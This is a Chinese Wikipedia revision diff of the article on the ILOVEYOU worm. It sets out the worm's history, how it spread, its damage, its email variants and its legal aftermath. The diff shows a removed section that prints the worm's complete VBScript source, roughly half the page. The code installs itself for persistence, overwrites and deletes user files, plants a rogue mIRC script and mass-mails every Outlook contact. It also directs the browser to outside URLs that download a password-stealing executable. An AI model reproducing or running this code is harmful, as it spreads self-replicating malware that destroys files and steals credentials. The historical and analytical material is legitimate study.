ILOVEYOU蠕蟲：修订间差异
删除的内容 添加的内容
→源代码[1]： // Edit via Wikiplus |
补救1个来源，并将0个来源标记为失效。) #IABot (v2.0.8.7 |
||
| （未显示8个用户的9个中间版本） | |||
| 第4行： | 第4行： | ||
{{infobox computer virus |
{{infobox computer virus |
||
| Image = |
| Image = |
||
| caption = 帶有ILOVEYOU蠕蟲的電子郵件 |
| caption = 帶有ILOVEYOU蠕蟲的電子郵件, |
||
| Fullname = ILOVEYOU |
| Fullname = ILOVEYOU |
||
| Common name = ILOVEYOU |
| Common name = ILOVEYOU |
||
| 第28行： | 第28行： | ||
本蠕蟲首度在[[香港]]發現，第一次於2000年5月3日出現在電子郵件信箱中，以簡單的'''ILOVEYOU'''標題出現，並挾帶附件"LOVE-LETTER-FOR-YOU.TXT.vbs"。 |
本蠕蟲首度在[[香港]]發現，第一次於2000年5月3日出現在電子郵件信箱中，以簡單的'''ILOVEYOU'''標題出現，並挾帶附件"LOVE-LETTER-FOR-YOU.TXT.vbs"。 |
||
本蠕蟲因 |
本蠕蟲因三項特質而造成嚴重影響： |
||
* 它以[[VBScript]]作為其散佈媒體，此語言之前尚未發現其破壞力與缺陷，因此降低它達到目的的難度。 |
* 它以[[VBScript]]作為其散佈媒體，此語言之前尚未發現其破壞力與缺陷，因此降低它達到目的的難度。 |
||
* 它使用了強力的心理戰術，讓人們開啟此信的附件檔以達成持續散佈的目的。 |
* 它使用了強力的心理戰術，讓人們開啟此信的附件檔以達成持續散佈的目的。 |
||
* [[Windows 2000]]是第一個預設隱藏[[文件扩展名|附檔名]]的版本，如未更改此設定會使下載完成的LOVE-LETTER-FOR-YOU.TXT.vbs顯示為LOVE-LETTER-FOR-YOU.TXT，誤導使用者此檔案是真正的文字檔案。 |
|||
== 散佈 == |
== 散佈 == |
||
| 第70行： | 第71行： | ||
由於菲律賓在2000年8月21日尚未存在散佈電腦病毒相關法令，因此檢察官放棄對Onel A. de Guzman的電腦病毒犯罪偵察，轉而偵察其非法使用信用卡密碼與銀行交易的犯罪。而菲律賓電子商務法（公佈編號8792）於2000年6月14日通過，制訂了電子犯罪的罰則。根據此法，非法散佈電腦病毒或觸犯網路犯罪（包括[[盜版]]與破解）可處以至少十萬[[比索]]（約2350美元），至多與造成損害相當的罰款，並處以六個月以上三年以下有期徒刑。 |
由於菲律賓在2000年8月21日尚未存在散佈電腦病毒相關法令，因此檢察官放棄對Onel A. de Guzman的電腦病毒犯罪偵察，轉而偵察其非法使用信用卡密碼與銀行交易的犯罪。而菲律賓電子商務法（公佈編號8792）於2000年6月14日通過，制訂了電子犯罪的罰則。根據此法，非法散佈電腦病毒或觸犯網路犯罪（包括[[盜版]]與破解）可處以至少十萬[[比索]]（約2350美元），至多與造成損害相當的罰款，並處以六個月以上三年以下有期徒刑。 |
||
== 源代码 == |
|||
病毒的源代码已被上传至GitHub。（[https://github.com/onx/ILOVEYOU 链接]） |
|||
<syntaxhighlight lang="vbscript"> |
|||
rem barok -loveletter(vbe) <i hate go to school> |
|||
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines |
|||
On Error Resume Next |
|||
rem Setup global variables to be used throughout subroutines and functions. |
|||
Dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow |
|||
eq = "" |
|||
ctr = 0 |
|||
rem Open the current script file and define "vbscopy" which can be used to |
|||
rem read its own contents. Used to replicate itself in other files. |
|||
Set fso = CreateObject("Scripting.FileSystemObject") |
|||
Set file = fso.OpenTextFile(WScript.ScriptFullname, 1) |
|||
vbscopy = file.ReadAll |
|||
main() |
|||
rem Subroutine to initalize the program |
|||
Sub main() |
|||
On Error Resume Next |
|||
Dim wscr, rr |
|||
Set wscr = CreateObject("WScript.Shell") |
|||
rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") |
|||
If (rr >= 1) Then |
|||
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD" |
|||
End If |
|||
rem Finds special folders, such as system, temporary and windows folders. |
|||
Set dirwin = fso.GetSpecialFolder(0) |
|||
Set dirsystem = fso.GetSpecialFolder(1) |
|||
Set dirtemp = fso.GetSpecialFolder(2) |
|||
Set c = fso.GetFile(WScript.ScriptFullName) |
|||
rem Copy itself into VBScript files MSKernel32.vbs, Win32DLL.vbs and |
|||
rem LOVE-LETTER-FOR-YOU.TXT.vbs |
|||
c.Copy(dirsystem & "\MSKernel32.vbs") |
|||
c.Copy(dirwin & "\Win32DLL.vbs") |
|||
c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs") |
|||
regruns() |
|||
html() |
|||
spreadtoemail() |
|||
listadriv() |
|||
End Sub |
|||
rem Subroutine to create/update registry values. |
|||
Sub regruns() |
|||
On Error Resume Next |
|||
Dim num, downread |
|||
rem Set the system to automatically run MSKernel32.vbs and Win32DLL.vbs on startup. |
|||
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs" |
|||
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin & "\Win32DLL.vbs" |
|||
rem Get internet Explorer's download directory. |
|||
downread = "" |
|||
downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory") |
|||
rem If the directory wasn't found, then use C:\ drive as the download directory. |
|||
If (downread = "") Then |
|||
downread = "c:\" |
|||
End If |
|||
rem Check if a file named "WinFAT32.exe" exists in the system files. |
|||
If (fileexist(dirsystem & "\WinFAT32.exe") = 1) Then |
|||
Randomize |
|||
rem Generate a random number from 1 to 4. |
|||
num = Int((4 * Rnd) + 1) |
|||
rem Randomly update the Internet Explorer's start page that leads to a |
|||
rem page that will download a malicious executable "WIN-BUGSFIX.exe". |
|||
If num = 1 Then |
|||
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" |
|||
ElseIf num = 2 Then |
|||
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" |
|||
ElseIf num = 3 Then |
|||
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe" |
|||
ElseIf num = 4 Then |
|||
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe" |
|||
End If |
|||
End If |
|||
rem Check if the "WIN-BUGSFIX.exe" file exists in the download directory. |
|||
If (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) Then |
|||
rem Add WIN-BUGSFIX.exe to run on startup |
|||
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\WIN-BUGSFIX.exe" |
|||
rem Update Internet Explorer's start page to "about:blank" |
|||
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage", "about:blank" |
|||
End If |
|||
End Sub |
|||
rem Subroutine to list folders in drives. |
|||
Sub listadriv() |
|||
On Error Resume Next |
|||
Dim d, dc, s |
|||
Set dc = fso.Drives |
|||
For Each d In dc |
|||
If (d.DriveType = 2) Or (d.DriveType = 3) Then |
|||
folderlist(d.path & "\") |
|||
End If |
|||
Next |
|||
listadriv = s |
|||
End Sub |
|||
rem Subroutine infect other files, by copying itself into them as well |
|||
rem as creating a malicious mIRC script. |
|||
Sub infectfiles(folderspec) |
|||
On Error Resume Next |
|||
Dim f, f1, fc, ext, ap, mircfname, s, bname, mp3 |
|||
Set f = fso.GetFolder(folderspec) |
|||
Set fc = f.Files |
|||
For Each f1 In fc |
|||
ext = fso.GetExtensionName(f1.path) |
|||
ext = lcase(ext) |
|||
s = lcase(f1.name) |
|||
rem Copies itself into every file with vbs/vbe extension. |
|||
If (ext = "vbs") Or (ext = "vbe") Then |
|||
Set ap = fso.OpenTextFile(f1.path, 2, true) |
|||
ap.write vbscopy |
|||
ap.close |
|||
rem Copies itself into every file with js/jse/css/wsh/sct/hta extension. |
|||
ElseIf (ext = "js") |
|||
Or (ext = "jse") |
|||
Or (ext = "css") |
|||
Or (ext = "wsh") |
|||
Or (ext = "sct") |
|||
Or (ext = "hta") |
|||
Then |
|||
Set ap = fso.OpenTextFile(f1.path, 2, true) |
|||
ap.write vbscopy |
|||
ap.close |
|||
bname = fso.GetBaseName(f1.path) |
|||
Set cop = fso.GetFile(f1.path) |
|||
cop.copy(folderspec & "\" & bname & ".vbs") |
|||
fso.DeleteFile(f1.path) |
|||
rem Copies itself into every file with jpg/jpeg extension. |
|||
ElseIf (ext = "jpg") Or (ext = "jpeg") Then |
|||
rem Copies itself |
|||
Set ap = fso.OpenTextFile(f1.path, 2, true) |
|||
ap.write vbscopy |
|||
ap.close |
|||
Set cop = fso.GetFile(f1.path) |
|||
cop.copy(f1.path & ".vbs") |
|||
fso.DeleteFile(f1.path) |
|||
rem Copies itself into every file with mp3/mp2 extension. |
|||
ElseIf (ext = "mp3") Or (ext = "mp2") Then |
|||
Set mp3 = fso.CreateTextFile(f1.path & ".vbs") |
|||
mp3.write vbscopy |
|||
mp3.close |
|||
Set att = fso.GetFile(f1.path) |
|||
att.attributes = att.attributes + 2 |
|||
End If |
|||
If (eq <> folderspec) Then |
|||
rem Looks for mIRC and related files to determine whether it |
|||
rem should create/replace its script.ini with a malicious script. |
|||
If (s = "mirc32.exe") |
|||
Or (s = "mlink32.exe") |
|||
Or (s = "mirc.ini") |
|||
Or (s = "script.ini") |
|||
Or (s = "mirc.hlp") |
|||
Then |
|||
Set scriptini = fso.CreateTextFile(folderspec & "\script.ini") |
|||
rem The following mIRC script checks if the "nick" of a user is the same |
|||
rem as "me" to halt and send a DCC command to send a message to the user |
|||
rem with a link to the LOVE=LETTER-FOR-YOU html page on the system. |
|||
scriptini.WriteLine "[script]" |
|||
scriptini.WriteLine ";mIRC Script" |
|||
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, If mIRC will" |
|||
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" |
|||
scriptini.WriteLine ";" |
|||
scriptini.WriteLine ";Khaled Mardam-Bey" |
|||
scriptini.WriteLine ";http://www.mirc.com" |
|||
scriptini.WriteLine ";" |
|||
scriptini.WriteLine "n0=on 1:JOIN:#:{" |
|||
scriptini.WriteLine "n1= /If ( $nick == $me ) { halt }" |
|||
scriptini.WriteLine "n2= /.dcc send $nick" & dirsystem & "\LOVE-LETTER-FOR-YOU.HTM" |
|||
scriptini.WriteLine "n3=}" |
|||
scriptini.close |
|||
eq = folderspec |
|||
End If |
|||
End If |
|||
Next |
|||
End Sub |
|||
rem Subroutine used to get file listing of a folder. |
|||
Sub folderlist(folderspec) |
|||
On Error Resume Next |
|||
Dim f, f1, sf |
|||
Set f = fso.GetFolder(folderspec) |
|||
Set sf = f.SubFolders |
|||
For Each f1 In sf |
|||
infectfiles(f1.path) |
|||
folderlist(f1.path) |
|||
Next |
|||
End Sub |
|||
rem Subroutine used to create/write registry entries. |
|||
Sub regcreate(regkey,regvalue) |
|||
Set regedit = CreateObject("WScript.Shell") |
|||
regedit.RegWrite regkey, regvalue |
|||
End Sub |
|||
rem Subroutine used to get registry entries. |
|||
Function regget(value) |
|||
Set regedit = CreateObject("WScript.Shell") |
|||
regget = regedit.RegRead(value) |
|||
End Function |
|||
rem Function to check if a file exists. |
|||
Function fileexist(filespec) |
|||
On Error Resume Next |
|||
Dim msg |
|||
If (fso.FileExists(filespec)) Then |
|||
msg = 0 |
|||
Else |
|||
msg = 1 |
|||
End If |
|||
fileexist = msg |
|||
End Function |
|||
rem Function to check if a folder exists. |
|||
Function folderexist(folderspec) |
|||
On Error Resume Next |
|||
Dim msg |
|||
If (fso.GetFolderExists(folderspec)) Then |
|||
msg = 0 |
|||
Else |
|||
msg = 1 |
|||
End If |
|||
fileexist = msg |
|||
End Function |
|||
rem Subroutine to send emails to the user's contacts (MAPI) |
|||
Sub spreadtoemail() |
|||
On Error Resume Next |
|||
Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad |
|||
Set regedit = CreateObject("WScript.Shell") |
|||
Set out = WScript.CreateObject("Outlook.Application") |
|||
Set mapi = out.GetNameSpace("MAPI") |
|||
rem Goes through all contacts in the address book and sends an email |
|||
rem with the LOVE-LETTER-FOR-YOU program as an attachment. |
|||
For ctrlists = 1 To mapi.AddressLists.Count |
|||
Set a = mapi.AddressLists(ctrlists) |
|||
x = 1 |
|||
regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a) |
|||
If (regv = "") Then |
|||
regv = 1 |
|||
End If |
|||
If (int(a.AddressEntries.Count) > int(regv)) Then |
|||
For ctrentries = 1 To a.AddressEntries.Count |
|||
malead = a.AddressEntries(x) |
|||
regad = "" |
|||
regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead ) |
|||
If (regad = "") Then |
|||
Set male = out.CreateItem(0) |
|||
male.Recipients.Add(malead) |
|||
male.Subject = "ILOVEYOU" |
|||
male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me." |
|||
male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs") |
|||
male.Send |
|||
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, "REG_DWORD" |
|||
End If |
|||
x = x + 1 |
|||
Next |
|||
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count |
|||
Else |
|||
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count |
|||
End If |
|||
Next |
|||
Set out = Nothing |
|||
Set mapi = Nothing |
|||
End Sub |
|||
rem Subroutine to generate and create the HTML file for LOVE-LETTER-FOR-YOU.HTM. |
|||
Sub html |
|||
On Error Resume Next |
|||
Dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6 |
|||
rem Generates an HTML page which contains JScript and VBScript replicate itself. |
|||
rem by leveraging ActiveX. It also listens for mouse and key events, which |
|||
rem ends up open more windows of the page. |
|||
dta1 = "<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>" |
|||
& vbcrlf & _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>" |
|||
& vbcrlf & _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>" |
|||
& vbcrlf & _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ " |
|||
& vbcrlf & _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>" |
|||
& vbcrlf & _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>" |
|||
& vbcrlf & _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>" |
|||
& vbcrlf & _ "<?-?BODY><?-?HTML>" |
|||
& vbcrlf & _ "<SCRIPT language=@-@JScript@-@>" |
|||
& vbcrlf & _ "<!--?-??-?" |
|||
& vbcrlf & _ "If (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}" |
|||
& vbcrlf & _ "?-??-?-->" |
|||
& vbcrlf & _ "<?-?SCRIPT>" |
|||
& vbcrlf & _ "<SCRIPT LANGUAGE=@-@VBScript@-@>" |
|||
& vbcrlf & _ "<!--" |
|||
& vbcrlf & _ "on error resume next" |
|||
& vbcrlf & _ "Dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit" |
|||
& vbcrlf & _ "aw=1" |
|||
& vbcrlf & _ "code=" |
|||
dta2 = "Set fso=CreateObject(@-@Scripting.FileSystemObject@-@)" |
|||
& vbcrlf & _ "Set dirsystem=fso.GetSpecialFolder(1)" |
|||
& vbcrlf & _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))" |
|||
& vbcrlf & _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))" |
|||
& vbcrlf & _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))" |
|||
& vbcrlf & _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)" |
|||
& vbcrlf & _ "wri.write code4" |
|||
& vbcrlf & _ "wri.close" |
|||
& vbcrlf & _ "If (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) Then" |
|||
& vbcrlf & _ "If (err.number=424) Then" |
|||
& vbcrlf & _ "aw=0" |
|||
& vbcrlf & _ "End If" |
|||
& vbcrlf & _ "If (aw=1) Then" |
|||
& vbcrlf & _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@" |
|||
& vbcrlf & _ "window.close" |
|||
& vbcrlf & _ "End If" |
|||
& vbcrlf & _ "End If" |
|||
& vbcrlf & _ "Set regedit = CreateObject(@-@WScript.Shell@-@)" |
|||
& vbcrlf & _ "regedit.RegWrite@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@" |
|||
& vbcrlf & _ "?-??-?-->" |
|||
& vbcrlf & _ "<?-?SCRIPT>" |
|||
dt1 = replace(dta1, chr(35) & chr(45) & chr(35), "'") |
|||
dt1 = replace(dt1, chr(64) & chr(45) & chr(64), """") |
|||
dt4 = replace(dt1, chr(63) & chr(45) & chr(63), "/") |
|||
dt5 = replace(dt4, chr(94) & chr(45) & chr(94), "\") |
|||
dt2 = replace(dta2, chr(35) & chr(45) & chr(35), "'") |
|||
dt2 = replace(dt2, chr(64) & chr(45) & chr(64), """") |
|||
dt3 = replace(dt2, chr(63) & chr(45) & chr(63), "/") |
|||
dt6 = replace(dt3, chr(94) & chr(45) & chr(94), "\") |
|||
Set fso = CreateObject("Scripting.FileSystemObject") |
|||
Set c = fso.OpenTextFile(WScript.ScriptFullName, 1) |
|||
lines = Split(c.ReadAll,vbcrlf) |
|||
l1 = ubound(lines) |
|||
For n = 0 to ubound(lines) |
|||
lines(n) = replace(lines(n), "'", chr(91) + chr(45) + chr(91)) |
|||
lines(n) = replace(lines(n), """", chr(93) + chr(45) + chr(93)) |
|||
lines(n) = replace(lines(n), "\", chr(37) + chr(45) + chr(37)) |
|||
If (l1 = n) Then |
|||
lines(n) = chr(34) + lines(n) + chr(34) |
|||
Else |
|||
lines(n) = chr(34) + lines(n) + chr(34) & " & vbcrlf & _" |
|||
End If |
|||
Next |
|||
rem Create the LOVE-LETTER-FOR-YOU.HTM file in the system directory. |
|||
Set b = fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM") |
|||
b.close |
|||
Set d = fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM", 2) |
|||
d.write dt5 |
|||
d.write join(lines, vbcrlf) |
|||
d.write vbcrlf |
|||
d.write dt6 |
|||
d.close |
|||
End Sub |
|||
</syntaxhighlight> |
|||
== 參閱 == |
== 參閱 == |
||
| 第480行： | 第78行： | ||
== 外部連結 == |
== 外部連結 == |
||
* {{en}} [http://rixstep.com/1/20040504,00.shtml The Love Bug --回顧] |
* {{en}} [http://rixstep.com/1/20040504,00.shtml The Love Bug --回顧]{{Wayback|url=http://rixstep.com/1/20040504,00.shtml |date=20061017035522 }} |
||
* {{en}} [http://radsoft.net/news/roundups/luv/ Radsoft: '''我愛妳'''聚集] |
* {{en}} [http://radsoft.net/news/roundups/luv/ Radsoft: '''我愛妳'''聚集]{{Wayback|url=http://radsoft.net/news/roundups/luv/ |date=20060926022201 }} |
||
* {{en}} [https://web.archive.org/web/20061208172637/http://www3.ca.com/securityadvisor/virusinfo/virus.aspx?id=9024 描述頁] |
* {{en}} [https://web.archive.org/web/20061208172637/http://www3.ca.com/securityadvisor/virusinfo/virus.aspx?id=9024 描述頁] |
||
* {{en}} [http://www.theregister.co.uk/2005/05/11/love_bug_author/ ILOVEYOU作者：「毫不抱歉」] |
* {{en}} [http://www.theregister.co.uk/2005/05/11/love_bug_author/ ILOVEYOU作者：「毫不抱歉」]{{Wayback|url=http://www.theregister.co.uk/2005/05/11/love_bug_author/ |date=20190925175611 }}由 [[The Register]]報導 |
||
* {{zh-tw}} [https://imperia.trendmicro-europe.com/tw/about/news/pr/article/20070920055735.html "ILOVEYOU"郵件病毒顛覆企業只重視單機防毒的傳統觀念] |
* {{zh-tw}} [https://imperia.trendmicro-europe.com/tw/about/news/pr/article/20070920055735.html "ILOVEYOU"郵件病毒顛覆企業只重視單機防毒的傳統觀念] {{Wayback|url=https://imperia.trendmicro-europe.com/tw/about/news/pr/article/20070920055735.html |date=20220327151507 }} |
||
[[Category:蠕虫病毒]] |
[[Category:蠕虫病毒]] |
||
2022年5月13日 (五) 18:48的最新版本
| 常用名稱 | ILOVEYOU |
|---|---|
| 別名 | Love Bug, Love Letter |
| 來源地 |  菲律賓 |
| 作者 | Reonel Ramones, Onel de Guzman |
| 感染系統 | Windows 9x, Windows NT 4.0, Windows 2000 |
| 程式語言 | VBScript |
我愛你（ILOVEYOU）蠕蟲，又稱VBS/Loveletter或Love Bug worm，是一個以VBScript撰寫的電腦蠕蟲。
敘述
[编辑]本蠕蟲首度在香港發現，第一次於2000年5月3日出現在電子郵件信箱中，以簡單的ILOVEYOU標題出現，並挾帶附件"LOVE-LETTER-FOR-YOU.TXT.vbs"。
本蠕蟲因三項特質而造成嚴重影響：
- 它以VBScript作為其散佈媒體，此語言之前尚未發現其破壞力與缺陷，因此降低它達到目的的難度。
- 它使用了強力的心理戰術，讓人們開啟此信的附件檔以達成持續散佈的目的。
- Windows 2000是第一個預設隱藏附檔名的版本，如未更改此設定會使下載完成的LOVE-LETTER-FOR-YOU.TXT.vbs顯示為LOVE-LETTER-FOR-YOU.TXT，誤導使用者此檔案是真正的文字檔案。
散佈
[编辑]它從東方國家以極快的速度向西方國家散播。由於它以受害者的整個郵件地址列表為傳播目標，因此本郵件常從熟識者傳來，並讓受害者以為此郵件是安全的，增加中毒郵件被打開的機會。此蠕蟲的目標便是讓少數受害者開啟郵件的VBS附檔，便可製造成千上萬的中毒郵件並以此癱瘓郵件伺服器，而非摧毀其主機內容。
影響
[编辑]這個特殊的惡意軟體造成了世界55億美元的損失[來源請求]。此蠕蟲覆寫受感染電腦上的重要檔案，如音樂、多媒體與其他檔案。它也對受害者的郵件通訊列表上的每個朋友寄出病毒信，此蠕蟲僅感染執行Microsoft Windows作業系統的電腦。
創作者
[编辑]此蠕蟲據信是由Michael Buen所寫，而此蠕蟲所用的Barok特洛伊木馬則是由菲律賓大學生Onel A de Guzman所寫。
蠕蟲結構
[编辑]本蠕蟲的作者辯稱自己在意外中釋放了此惡意軟體。此蠕蟲以Microsoft Visual Basic Scripting寫成，並需要受害者親自啟動此檔案。它也會在Windows登錄編輯程式增加一些注册表键（registry key），使得此惡意程式可以在電腦每次開機時隨之啟動。
本蠕蟲將隨之尋找本受感染電腦所有的檔案裝置並將附檔名為*.JPG, *.JPEG, *.VBS, *.VBE, *.JS, *.JSE, *.CSS, *.WSH, *.SCT, *.HTA的檔案以自己的病毒碼覆蓋之，並再添加.VBS附檔名。此惡意程式也鎖定*.MP3與*.MP2檔案，並將它們隱藏，並複製份相同檔名且添增附檔名.VBS的受感染檔案。
此蠕蟲藉由對每一位Microsoft Outlook通訊名單上的使用者，寄發含有受感染檔案的病毒信以達散播目的。除此之外它也會下載並執行一個名為WIN-BUGSFIX.EXE的檔案，此檔案將會偷竊使用者鍵入的密碼，並將密碼以電子郵件寄發。
變種
[编辑]- 附件檔名：LOVE-LETTER-FOR-YOU.TXT.vbs
信件標題：ILOVEYOU
郵件訊息：kindly check the attached LOVELETTER coming from me. - 附件檔名：Very Funny.vbs
信件標題：fwd: Joke
郵件訊息：empty - 附件檔名：mothersday.vbs
信件標題：Mothers Day Order Confirmation
郵件訊息：We have proceeded to charge your credit card for the amount of $326.92 for the mothers day diamond special. We have attached a detailed invoice to this email. Please print out the attachment and keep it in a safe place.Thanks Again and Have a Happy Mothers Day! mothersday@subdimension.com - 附件檔名：virus_warning.jpg.vbs
信件標題：Dangerous Virus Warning
郵件訊息：There is a dangerous virus circulating. Please click attached picture to view it and learn to avoid it. - 附件檔名：protect.vbs
信件標題：Virus ALERT!!!
郵件訊息：a long message regarding VBS.LoveLetter.A - 附件檔名：Important.TXT.vbs
信件標題：Important! Read carefully!!
郵件訊息：Check the attached IMPORTANT coming from me! - 附件檔名：Virus-Protection-Instructions.vbs
信件標題：How to protect yourself from the IL0VEYOU bug!
郵件訊息：Here's the easy way to fix the love virus. - 附件檔名：KillEmAll.TXT.VBS
信件標題：I Cant Believe This!!!
郵件訊息：I Cant Believe I have Just received This Hate Email .. Take A Look! - 附件檔名：ArabAir.TXT.vbs
信件標題：Thank You For Flying With Arab Airlines
郵件訊息：Please check if the bill is correct, by opening the attached file - 附件檔名：IMPORTANT.TXT.vbs
信件標題：Variant Test
郵件訊息：This is a variant to the vbs virus. - 附件檔名：Vir-Killer.vbs
信件標題：Yeah, Yeah another time to DEATH...
郵件訊息：This is the Killer for VBS.LOVE-LETTER.WORM. - 附件檔名：LOOK.vbs
信件標題：LOOK!
郵件訊息：hehe...check this out. - 附件檔名：BEWERBUNG.TXT.vbs
信件標題：Bewerbung Kreolina
郵件訊息：Sehr geehrte Damen und Herren!
法律責任
[编辑]由於菲律賓在2000年8月21日尚未存在散佈電腦病毒相關法令，因此檢察官放棄對Onel A. de Guzman的電腦病毒犯罪偵察，轉而偵察其非法使用信用卡密碼與銀行交易的犯罪。而菲律賓電子商務法（公佈編號8792）於2000年6月14日通過，制訂了電子犯罪的罰則。根據此法，非法散佈電腦病毒或觸犯網路犯罪（包括盜版與破解）可處以至少十萬比索（約2350美元），至多與造成損害相當的罰款，並處以六個月以上三年以下有期徒刑。
參閱
[编辑]外部連結
[编辑]- （英文） The Love Bug --回顧（页面存档备份，存于互联网档案馆）
- （英文） Radsoft: 我愛妳聚集（页面存档备份，存于互联网档案馆）
- （英文） 描述頁
- （英文） ILOVEYOU作者：「毫不抱歉」（页面存档备份，存于互联网档案馆）由 The Register報導
- （繁體中文） "ILOVEYOU"郵件病毒顛覆企業只重視單機防毒的傳統觀念 （页面存档备份，存于互联网档案馆）